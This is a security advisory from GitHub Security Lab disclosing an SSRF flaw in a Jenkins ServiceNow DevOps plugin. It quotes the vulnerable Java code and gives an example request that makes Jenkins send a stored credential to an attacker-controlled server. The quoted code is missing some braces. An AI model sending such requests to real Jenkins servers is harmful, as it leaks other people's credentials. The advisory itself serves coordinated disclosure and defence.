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August 25, 2023

GHSL-2023-067: Server-Side Request Forgery (SSRF) in jenkinsci/servicenow-devops-plugin - CVE-2023-3414, CVE-2023-3442

Alvaro Munoz

Coordinated Disclosure Timeline


A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/servicenow-devops-plugin allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the instanceUrl parameter in the DevOpsConfiguration#doTestConnection. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System permission and send them to attacker-controlled servers.


servicenow-devops-plugin Jenkins plugin

Tested Version



Arbitrary secret leakage via SSRF (GHSL-2023-067)

The DevOpsConfiguration#doTestConnection method reads a credential identified by the credentialsId query parameter and sends it to the attacker-controlled server specified by the instanceUrl query parameter:

public FormValidation doTestConnection(@QueryParameter("instanceUrl") String instanceUrl,
        @QueryParameter("apiVersion") String apiVersion, @QueryParameter("toolId") String toolId,
        @QueryParameter("credentialsId") String credentialsId) throws IOException, ServletException {

    List<DomainRequirement> drl = null;
    ItemGroup itemGroup = null;
    Authentication authentication = null;

    if (GenericUtils.isEmpty(instanceUrl))
        return FormValidation.error("Please provide the url!");

    if (GenericUtils.isEmpty(credentialsId))
        return FormValidation.error("Please choose a credential!");

    if (CredentialsProvider.listCredentials(StandardUsernamePasswordCredentials.class, itemGroup, authentication,
            drl, CredentialsMatchers.withId(credentialsId)).isEmpty())
        return FormValidation.error("Cannot find currently selected credentials");

    if (GenericUtils.isEmpty(toolId))
        return FormValidation.error("Invalid tool id!");

    if (GenericUtils.isEmpty(apiVersion))
        return FormValidation.error("Invalid API Version!");

    String changeControlUrl = getChangeControlUrl(instanceUrl, apiVersion);

    LOGGER.log(Level.INFO, "changeControlUrl ->" + changeControlUrl);

    if (GenericUtils.isEmpty(changeControlUrl) || !GenericUtils.checkUrlValid(changeControlUrl)) {
        return FormValidation.error("Invalid URL");

    StandardUsernamePasswordCredentials credentials = getCredentials(credentialsId);
    String user = null;
    String pwd = null;
    if (credentials != null) {
        user = credentials.getUsername();
        if (credentials.getPassword() != null) {
            pwd = credentials.getPassword().getPlainText();

    JSONObject params = new JSONObject();
    params.put(DevOpsConstants.TOOL_ID_ATTR.toString(), toolId);
    params.put(DevOpsConstants.TEST_CONNECTION_ATTR.toString(), "true");
    params.put(DevOpsConstants.TOOL_TYPE_ATTR.toString(), DevOpsConstants.TOOL_TYPE.toString());
    try {
        String result = GenericUtils.parseResponseResult(
      "GET", changeControlUrl, params, null, user, pwd, null, null),
        if (result != null && result.equalsIgnoreCase("OK"))
            return FormValidation.ok("Connection successful!");
            throw new Exception("Connection failed!");
    } catch (Exception e) {
        return FormValidation.error("Client error : " + e.getMessage());


In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG credential to the authenticated attacker would need to send the following request:

GET /jenkins/descriptorByName/io.jenkins.plugins.config.DevOpsConfiguration/testConnection?instanceUrl= HTTP/1.1
Host: localhost:8080
Connection: close

Note that the attacker does NOT need to be authenticated but, if role-based authorization is in place, anonymous users may need to have Overall/Read permission.

The code responsible to read the arbitrary credentials is:

public StandardUsernamePasswordCredentials getCredentials(String credentialsId) {
    DomainRequirement dr = null;
    ItemGroup itemGroup = null;
    Authentication authentication = null;
    List<StandardUsernamePasswordCredentials> lc = CredentialsProvider
            .lookupCredentials(StandardUsernamePasswordCredentials.class, itemGroup, authentication, dr);

    for (int i = 0; i < lc.size(); i++) {
        StandardUsernamePasswordCredentials sc = lc.get(i);
        if (sc.getId().equals(credentialsId)) {
            return sc;
    return null;

As we can see in the code, regardless of the user privileges, the authentication will always be null and, therefore, Jenkins will default to use ACL.SYSTEM permissions.

Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST request:

GET /path HTTP/1.1
Content-Type: application/json; charset=UTF-8
User-Agent: Java/
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

The credentials are leaked base64-encoded in the Authorization header.

Because the endpoint accepts GET requests, an attacker could send a link to a victim with access to the Jenkins server to deliver the payload when the victim clicks on the link.

This vulnerability was found using CodeQL’s SSRF Java query.


This vulnerability can lead to sensitive secret credentials leak.



This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).


You can contact the GHSL team at, please include a reference to GHSL-2023-067 in any communication regarding this issue.